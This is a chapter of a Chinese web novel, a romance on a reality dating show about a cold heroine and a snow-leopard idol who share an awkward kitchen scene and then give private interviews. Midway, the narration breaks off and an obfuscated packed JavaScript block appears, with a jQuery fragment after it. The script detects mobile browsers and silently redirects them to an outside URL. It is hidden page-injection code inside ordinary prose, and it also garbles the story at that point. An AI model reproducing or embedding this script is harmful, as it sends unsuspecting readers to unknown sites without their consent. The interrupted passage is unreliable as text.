摄影师拍够素材后心满意足离开，空气中无形的暧昧如潮水般退去，只留下一片被骤然放大的寂静。
房间里没有了第三个人，松开谢凛的手后，温眠才后知后觉感受到一阵巨大的尴尬，像无形的藤蔓缠绕上来，令人窒息。
她相信谢凛也一样，这份沉默太过粘稠。
两个人像完全不认识似的，互相背对着突兀变得忙碌起来。
谢凛假装专注地清洗起刚才用过的刀具和案板，一遍一遍，锃亮如新的的菜刀早已干净得能映照出他清晰的下颌线，却还在不停接受洗礼。
他握着刀柄的手无意识用力，显出清晰分明的脉络和骨节，修剪整齐的人类指甲一次次划过金属刀背，竟留下几道浅浅的、刺眼的划痕。
属于雪豹的本能在无声宣泄着残留的焦躁。
而温眠则看似默不作声地擦拭着台面上的水迹，另一只垂在身侧的手，却毫不自知地反复用指腹蹭着自己刚才抓住谢凛手腕的那几根手指。
仿佛那里还残留着他皮肤的温度，和脉搏跳动的触感。
这种感觉很陌生，让她心底泛起一丝自己也说不清的别扭，和强烈的不适应。
她不喜欢这种失控感。
狭小的空间里，气氛太过微妙，只听得到单调的水流和擦拭声。
温眠深吸一口气，率先开口打破沉默，也是为了转移自己无从安放的注意力。
“刚才在楼上......天欣问我，”她顿了片刻，想了想，才回忆起那位女嘉宾的名字，“我们两个是怎么回事。”
语气恢复到一贯的冷淡，仿佛在讲述一件跟自己没什么关系的小事，看不出一丝在镜头前故意调侃谢凛的痕迹。
谢凛清洗刀具的动作猛地停住。
“为什么会问这个？”他明知故问，声线有些发紧。
“你表现得那么明显，观众肯定也都看出来了。”温眠说。
她其实对此有些不悦，如果不是谢凛总莫名其妙对她闹别扭，她也不会被迫像这样总是引人注意。
但是想想他只是个不懂事的雪豹，那点责备也没办法说出口。
她从前不认识他，也无从知道他进入人类社会有多久、有没有学会按照人类的常理来行事。
或许当偶像的经历真的让他被保护得很好，那些特立独行都被这重身份所掩饰，直到来到这场更贴近生活而非舞台的综艺节目。
谢凛撇撇嘴，有点烦闷地把刀重重放回了刀架上。
虽然确实不太能看懂温眠的想法，但敏感的本能还是让他第一时间捕捉到了对方的不满。
有些委屈，但他已经不确定是不是自己真做错了什么。
“看出来了又能怎样。”最后他哼了一声，努力表现得满不在乎。
他本来就不是什么能完美隐藏情绪的人，否则也不会因为身份而常年处于高度紧张状态，哪怕很喜欢当偶像，也依然需要时不时躲起来独处。
温眠的话却让他终于确定，她之前是真的不认识他。
连路人网友都知道，他一向不会、也不屑于刻意收敛自己的情绪，不被看出来才奇怪。
对温眠参加节目是不是在处心积虑接近自己的那点怀疑消散了大半。
随之而来的却是一种更复杂的、包含了某种不甘的心情。
也许正是因为她对声名显赫的自己毫不在意，在她面前，情绪失控才来得格外频繁和猛烈。
旁边的人没再理他，消停了一会儿后，谢凛还是忍不住追问道：“那你是怎么说的？”
这好奇心真是跟猫一样。
本来心情不佳不想再说话的，看到他这样明明在意却非要强装镇定的模样，还是忍不住想逗一下。
温眠擦完最后一块地方，侧过身看向他，眼神里带着一丝极淡的、几乎看不出的促狭。
“私仇。”
谢凛：？？？
他一脸错愕，漂亮的眼瞳里写满难以置信，仿佛听到了什么天方夜谭。
这幅呆滞的样子让温眠眼底极快地掠过一丝几不可察的笑意，转瞬即逝。
确实好逗。
她这才慢悠悠补充道：“想什么呢，就直说了啊，面试那天有点小误会，让大家见笑了。”
谢凛紧绷的心弦听到这句话才松了下来，随即又被一股莫名的气恼取代。
他意识到自己被捉弄了。
这女人……居然还会开玩笑？！
看着她那张依旧没什么表情的脸，他头一次真切地感受到，看似坚冰的外壳下，似乎也藏着一点属于“人”的鲜活气息。
只是，这气息被什么重重包裹着，难以触及。
——
快到傍晚的时候，大家总算齐心协力完成了今日所有任务。
但录制还没有结束，经过这一天破冰行动的合作和互动之后，节目组还要分别对每个人进行私下的采访。
初印象采访已经是恋综的一环惯例了，所以温眠也早有心理准备。
私密的小黑屋里，摄像机已经调整好，工作人员照旧不在，主打一个让所有人畅所欲言。
不过，肯定不会有人在第二天就说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448530|185209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一些引发轩然大波的言论，还是平稳和客套为主。
陆续有人进去再出来，其他人都在客厅等待。
所有素人嘉宾不免都提及了四位明星，毕竟接触的机会极为难得。
对谢凛的看法如出一辙，耀眼、高冷，气场强大，但给人很强烈的距离感，不易相处的样子。
但出乎意料的是，大家不约而同提起了温眠。
许多嘉宾慢慢开始觉得，她虽然淡淡的，但相处下来没有那么拒人千里之外。
那份清冷之下，该有的礼貌其实一分不少，也一直在毫无怨言地帮助他们。
在每个人心里留下安静而可靠的印象。
引用苏蔓比较诗意的话来形容就是：“她给我感觉像一座安静的湖，表面平静，但深处或许有我们看不到的风景。”
轮到谢凛的时候，他正姿态慵懒地靠在椅背上，银发在灯光下泛着冷色光晕，俊美的脸上依然是拽抓的表情。
站起来走向小黑屋的姿态好像带风。
当问及其他人，他还在耍酷说没怎么接触，不了解。
但提起温眠时，嘴角似乎极其轻微地撇了一下，话锋也突然犀利起来。
“她？”他语气带着点明显刻意的冷淡和不屑，似乎想极力撇清，却越描越黑，“是个坏人。”
工作人员憋着笑的声音从留在房间中的小喇叭传来：“哦？能具体说说为什么吗？”
谢凛眼神飘忽了一下：“......反正，就是坏。”
与其说是控诉，不如说是孩子气的抱怨，和掩饰不住的言不由衷。
最后是温眠。她坐到镜头前，姿态端正，神情平静无波。
“谢凛？”她重复了一遍名字，说出了和其他人并无太大差别的评价，“看着桀骜不驯，有点难相处。”
工作人员不死心地追问道：“还有呢？”
沉默了两秒，她纤白的手指交叠在膝上，似乎在斟酌用词，随后淡淡说：“……意外地，还算听话。”
工作人员一下子来了兴趣。
“为什么会有这种印象？”
温眠想起厨房里那个被一声“乖”就安抚下来的身影。
“会帮忙干活吧，没有像想象中一样耍大牌。”她说出了真实感受，“而且，一哄就好。”
采访结束，独自走出采访间时，窗外夜空繁星点点。
温眠抬手，无意识地又抚摸了一下自己的指尖。那里似乎还残留着一点不属于她的温度。
她微微蹙眉，将这丝异样甩开，走向自己寂静的房间。